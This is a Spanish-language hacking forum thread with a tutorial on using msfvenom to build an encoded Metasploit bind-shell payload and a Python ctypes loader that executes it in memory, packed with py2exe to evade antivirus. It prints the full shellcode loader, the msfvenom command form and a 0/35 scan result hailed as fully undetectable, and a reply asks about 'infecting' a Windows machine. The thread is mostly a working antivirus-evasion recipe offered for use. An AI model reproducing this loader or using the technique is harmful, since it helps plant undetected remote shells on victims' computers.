Msfvenom ayudandonos a evadir av's con python

Iniciado por Sanko, Marzo 22, 2013, 07:37:44 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hola a todos ! llevo bastante tiempo de inactividad sin redactar ningún articulo por falta de tiempo (existen prioridades) y era hora de poder dedicarle un tiempo a compartir información.



Hoy os traigo un articulo relacionado con uno que ya escribí hace un tiempo "Evadiendo AV's con Python" en el qué nos serviamos de un shellcode generado por metaesploit, lógicamente aun siendo este embedido necesitariamos de más para poder conseguir un FUD o limpieza total, es por eso que hoy nos ayudaremos de MSFVENOM para cumplir nuestro objetivo.

- uy uy uy uy, sobrecarga de información! no te vayas al tejado! empieza por cimentar el suelo!

Totalmente cierto, empezaremos por cuestionarnos "¿Qué es msfvenom?" :

Cabe destacar que msfvenom es una herramienta "relativamente nueva" que surge para hacer la vida de los pentesters mucho más sencilla.
Esta herramienta no es más que la únion de "msfpayload" y "msfencoder" por lo que esta no te permite solo generar tu payload sino que permite que se codifíque directamente con algún algoritmo(los presentes en msfencoder).


Dicho esto y dejando claro que es una herramienta muy intuitiva (msfvenom -h para mostrar los parametros disponibles) comenzaremos a darle uso para comenzar a evadir antivirus de forma cómoda y rápida.


1 .Comenzemos a generar y a codificar nuestro payload ! :

Generaremos el payload que usamos en el último artículo :
Código: php
windows/shell_bind_tcp LPORT=1337 C


y para generarlo y codificarlo escribiremos :
Código: php
msfvenom --payload <ruta_del_payload> --encoder <algoritmo_de_codificacion> --iterations <numero_de_iteraciones_ algoritmo si el las permite > --bad-chars <caracteres_a_ignorar normalmente  recomendado  x00 >


Ejemplo :



Aun siendo codificado por msfvenom si transformamos este shellcode a exe comprobaremos que aun sigue con bastantes detecciones




Link del reporte
-> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bien, es hora de comenzar la magia !, usaremos el mismo script que utilizamos en la ocasión pasada , es decir , recurriremos a la libreria ctypes para crear un buffer que ejecute el shellcode en memoria.

Código: python
from ctypes import *

shellcode = ("\xda\xd7\xd9\x74\x24\xf4\xbd\xf8\xd2\x02\xa0\x5a\x33\xc9" +
"\xb1\x78\x31\x6a\x17\x83\xea\xfc\x03\x92\xc1\xe0\x55\xdc" +
"\x32\x6b\xba\x51\x62\xb4\x1c\xe5\xb0\xc1\xc5\x2e\x70\x98" +
"\x8b\x01\xf0\xc8\xe8\x8b\x08\xed\x9c\x90\x9c\x28\xae\xa2" +
"\x17\xa9\x68\x3b\xd6\x8e\xa4\x3a\x6b\xef\x7d\xbc\x40\xfa" +
"\xf4\xd0\x6e\x8c\x6e\x44\xcc\x7d\xe7\x9d\x5a\x74\xde\x78" +
"\x7d\x3a\x6a\x45\x5a\xa6\x25\xb0\xfb\x36\x1e\x48\xb3\xf6" +
"\xa6\x22\xc6\x85\xe8\x33\x87\xbe\x1d\xfc\xab\x13\x02\xd4" +
"\x82\x2b\xa1\xe5\x3e\x3b\xb5\x51\x33\x50\x16\xa3\xe4\x9f" +
"\x25\xc3\xe8\x89\xd4\xb0\xd1\x83\x50\x20\xcb\x76\x0f\x2d" +
"\x8a\x31\xd9\x3b\xc8\x82\xdd\x65\x94\x57\x04\x3e\x7e\x69" +
"\xa6\x63\xc9\x06\x19\x9d\x49\xe9\x3d\x45\xf5\x19\x5b\xa0" +
"\x8a\x97\x33\xd2\x50\xe6\xff\xc7\xe7\xd6\xb4\x5e\xdd\xcc" +
"\x14\xfd\x18\xc6\xb9\x0c\xd6\xf7\xa4\x9b\xf7\x33\x4d\x56" +
"\xe0\x03\xd8\x8d\xf4\xe9\xde\xa9\xc3\x10\xd5\x8b\xcc\x86" +
"\xf5\x93\x42\x50\x9f\x45\xc9\x10\x4d\x92\x81\xe9\xb1\x85" +
"\xee\x43\xea\x72\x62\x37\x4b\x64\xc5\x0c\xd8\x64\xc0\x38" +
"\xa4\xe1\xad\xf7\xa1\x7e\x50\x52\x72\xac\xef\xd1\x74\x21" +
"\xf3\xe9\xe3\x65\xdb\x26\x48\xd0\x63\x87\x93\x22\x4b\x86" +
"\x0c\x80\x12\x27\x6a\x2e\x1d\x09\x7e\xee\xd1\x0f\xfe\xbe" +
"\x39\x8a\xb2\x55\x03\x4a\xb2\xc2\x79\x36\x9d\xd6\x29\xf4" +
"\xef\x71\xff\xa9\xde\x76\xbd\x62\x60\x52\x12\x8e\x48\x42" +
"\x7d\xaf\x5e\x5d\xc2\xe1\xcb\x39\xee\x86\xe2\x11\x07\xf9" +
"\x6d\x92\xfa\x56\xa2\x1a\xa4\x2d\x2c\x0f\x19\x20\xa2\x34" +
"\x5f\x64\x1a\x05\x87\xe9\xd0\xd5\xa0\xb3\x58\x38\x3b\x2c" +
"\x14\xd0\x74\x16\x46\x7b\x63\xbe\x0c\xae\x08\x9c\x03\x0d" +
"\xed\x06\x99\x2f\xcd\x67\x09\x12\x8c\x29\x6b\x92\x0b\xc5" +
"\x3f\x13\x25\x2a\x77\x5b\xf7\xd8\x63\x87\x46\xb8\xa5\x36" +
"\xc1\xc5\xd5\xcb\x55\xa4\x6f\xd6\x05\x45\x9f\xac\x41\xbe" +
"\xac\xbb\xb8\x03\x46\x04\xde\xd3\x64\x46\x81\x30\x93\x7d" +
"\xd3\x55\x34\xdf\x83\xc4\xde\xf3\x42\x86\x90\xbf\x92\xa0" +
"\x81\xdc\x5e\x05\xc4\x8e\x83\xdb\x6f\x90\xb2\x46\xb1\x2a" +
"\xcd\xd8\x03\x91\xde\x9f\x4e\x05\x75\x2b\x25\x2d\xeb\xfc" +
"\xe5\xa8\x48\xf6\x9f\x77\x8b\xc1\xf4\x78\x0b\xbf\xb4\xc7" +
"\xa6\xb7\x0b\x56\x92\x1b\x40\xc8\x37\x54\xa5\x86\x5b\xaf" +
"\xfd\xab\xa6\x68\xf6\x7b\x0c\xef\x3a\x04\x34\xbe\x55")

memoria = create_string_buffer(shellcode, len(shellcode))
shell = cast(memoria, CFUNCTYPE(c_void_p))
shell()


Bueno , ahora con py2exe lo convertimos en un ejecutable y lo analizamos...



Scan para vagos :

RESULTS:   0/35
AVG Free -
ArcaVir -
Avast 5 -
AntiVir (Avira) -
BitDefender -
VirusBuster  -
Clam  -
COMODO  -
Dr.Web -
eTrust-Vet -
F-PROT  -
F-Secure  -
G Data -
IKARUS  -
Kaspersky  -
McAfee -
MS  Essentials -
ESET NOD32 -
Norman -
Norton  -
Panda  -
A-Squared -
Quick Heal  -
Solo  -
Sophos -
Trend Micro  -
VBA32  -
Vexira  -
Zoner AntiVirus -
Ad-Aware -
BullGuard -
Immunet  -
K7 Ultimate -
NANO  -
VIPRE -

File Name      encoded.exe
File Size:   5044988
File MD5:    f4a8fd68004d0f6f6de8d6a336a86bd2
File SHA1:   159eb4450af494787961ce7a093cccd11a764bc1
Check Time:  2013-03-22 23:59:23

Scan report generated by
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para nuestra sorpresa y como podemos observar esta TOTALMENTE FUD , 0/35, esto podría estar bien siempre y cuando el payload continuara siendo funcional, ejecutemoslo y veamos si realmente sigue funcionando :



Y ya con esto concluimos ! , espero que os sirviera de ayuda.
En este artículo no se profundiza en el uso de msfvenom ya que no es lo que se pretende, si deseas saber más acerca de él -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos, Sanko.
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

¿Podrías explicar como usar el py2exe? Gracias.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

Gracias se ve muy interesante, una cosa, una vez que ya tenemos el script en python, ¿podríamos infectar a un windows con python instalado? Por ejemplo tipear en la terminal: python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en la ruta donde se encuentre el script.

Saludos.

Metadato te invito a leer nuevamente el post ;) y ver que no es asi... luego recien pregunta!

Regards,
Snifer
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Junio 25, 2013, 08:57:10 AM #5 Ultima modificación: Junio 25, 2013, 09:21:44 AM por Metadato
Vale una última cosa, puff siento ser tan pesado haciendo tantas preguntas pero, ¿cómo se instala py2exe?
No encuentro ningún tutorial.

Tengo una arquitectura de 64 bits, ya tengo instalado Python y me acabo de descargar py2exe 2.7

Saludos, y gracias.

plop! Lo que tienes que hacer es darle doble click! y de ahi siguiente siguiente recuerda que tiene que estar en el mismo directorio.


PD: Te recomiendo estimado que leas un poco mas y recien preguntar te falta bastante son cosas simples ;)

Regards,
Snifer
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , solo google amigo, saludos!
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

Vale gracias a todos, tendré que instalarme otra versión de python por que tengo la 3.3.2


Jejeje saludos.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vale gracias a todos, tendré que instalarme otra versión de python por que tengo la 3.3.2


Jejeje saludos.
2.7.x y no te cambies, python 3 solo hace que dar desgracias
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vale gracias a todos, tendré que instalarme otra versión de python por que tengo la 3.3.2


Jejeje saludos.
2.7.x y no te cambies, python 3 solo hace que dar desgracias

Ya veo, muchas gracias compañero.

Saludos.